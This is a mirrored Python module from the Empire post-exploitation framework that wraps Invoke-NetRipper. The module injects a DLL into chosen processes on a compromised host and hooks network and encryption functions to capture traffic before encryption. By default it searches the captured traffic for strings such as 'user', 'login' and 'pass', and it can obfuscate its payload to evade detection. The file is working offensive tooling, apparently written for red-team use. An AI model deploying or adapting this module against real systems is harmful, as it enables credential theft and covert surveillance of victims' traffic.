mirror of
https://github.com/EmpireProject/Empire
synced 2026-06-08 10:58:16 +00:00
xorrior
123 lines
4.6 KiB
Python
123 lines
4.6 KiB
Python
from lib.common import helpers
|
|
|
|
class Module:
|
|
|
|
def __init__(self, mainMenu, params=[]):
|
|
|
|
self.info = {
|
|
'Name': 'Invoke-NetRipper',
|
|
|
|
'Author': ['Ionut Popescu (@NytroRST)', '@mattifestation', '@harmj0y'],
|
|
|
|
'Description': ('Injects NetRipper into targeted processes, which '
|
|
'uses API hooking in order to intercept network traffic and encryption '
|
|
'related functions from a low privileged user, being able to capture both '
|
|
'plain-text traffic and encrypted traffic before encryption/after decryption.'),
|
|
|
|
'Background' : True,
|
|
|
|
'OutputExtension' : None,
|
|
|
|
'NeedsAdmin' : False,
|
|
|
|
'OpsecSafe' : False,
|
|
|
|
'Language' : 'powershell',
|
|
|
|
'MinLanguageVersion' : '2',
|
|
|
|
'Comments': [
|
|
'https://github.com/NytroRST/NetRipper/'
|
|
]
|
|
}
|
|
|
|
# any options needed by the module, settable during runtime
|
|
self.options = {
|
|
# format:
|
|
# value_name : {description, required, default_value}
|
|
'Agent' : {
|
|
'Description' : 'Agent to run module on.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
},
|
|
'ProcessID' : {
|
|
'Description' : 'Specific process ID to inject the NetRipper dll into.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'ProcessName' : {
|
|
'Description' : 'Inject the NetRipper dll into all processes with the given name (i.e. putty).',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'LogLocation' : {
|
|
'Description' : 'Folder location to log sniffed data to.',
|
|
'Required' : False,
|
|
'Value' : 'TEMP'
|
|
},
|
|
'AllData' : {
|
|
'Description' : 'Switch. Log all data instead of just plaintext.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'Datalimit' : {
|
|
'Description' : 'Data limit capture per request.',
|
|
'Required' : False,
|
|
'Value' : '4096'
|
|
},
|
|
'SearchStrings' : {
|
|
'Description' : 'Strings to search for in traffic.',
|
|
'Required' : True,
|
|
'Value' : 'user,login,pass,database,config'
|
|
}
|
|
}
|
|
|
|
# save off a copy of the mainMenu object to access external functionality
|
|
# like listeners/agent handlers/etc.
|
|
self.mainMenu = mainMenu
|
|
|
|
for param in params:
|
|
# parameter format is [Name, Value]
|
|
option, value = param
|
|
if option in self.options:
|
|
self.options[option]['Value'] = value
|
|
|
|
|
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
|
|
|
# read in the common module source code
|
|
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-NetRipper.ps1"
|
|
if obfuscate:
|
|
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
|
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
|
|
try:
|
|
f = open(moduleSource, 'r')
|
|
except:
|
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
|
return ""
|
|
|
|
moduleCode = f.read()
|
|
f.close()
|
|
|
|
script = moduleCode
|
|
|
|
scriptEnd = "Invoke-NetRipper "
|
|
|
|
for option,values in self.options.iteritems():
|
|
if option.lower() != "agent":
|
|
if option.lower() == "searchstrings":
|
|
scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
|
|
else:
|
|
if values['Value'] and values['Value'] != '':
|
|
if values['Value'].lower() == "true":
|
|
# if we're just adding a switch
|
|
scriptEnd += " -" + str(option)
|
|
else:
|
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
|
|
|
scriptEnd += ";'Invoke-NetRipper completed.'"
|
|
if obfuscate:
|
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
|
script += scriptEnd
|
|
return script
|